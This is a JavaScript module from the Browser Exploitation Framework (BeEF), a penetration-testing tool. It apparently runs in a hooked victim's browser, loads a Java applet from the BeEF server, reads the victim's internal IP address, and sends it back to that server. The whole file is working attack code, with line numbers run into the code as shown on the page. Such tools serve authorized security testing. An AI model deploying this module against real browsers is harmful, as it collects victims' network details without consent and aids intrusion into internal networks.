Path: blob/master/modules/host/get_internal_ip_java/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var applet_uri = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/';9var internal_counter = 0;10var timeout = 30;11var output;12beef.dom.attachApplet('get_internal_ip', 'get_internal_ip', 'get_internal_ip' ,13applet_uri, null, null);1415function waituntilok() {16try {17output = document.get_internal_ip.ip();18beef.net.send('<%= @command_url %>', <%= @command_id %>, output);19beef.dom.detachApplet('get_internal_ip');20return;21} catch (e) {22internal_counter++;23if (internal_counter > timeout) {24beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Timeout after '+timeout+' seconds');25beef.dom.detachApplet('get_internal_ip');26return;27}28setTimeout(function() {waituntilok()},1000);29}30}3132setTimeout(function() {waituntilok()},5000);3334});353637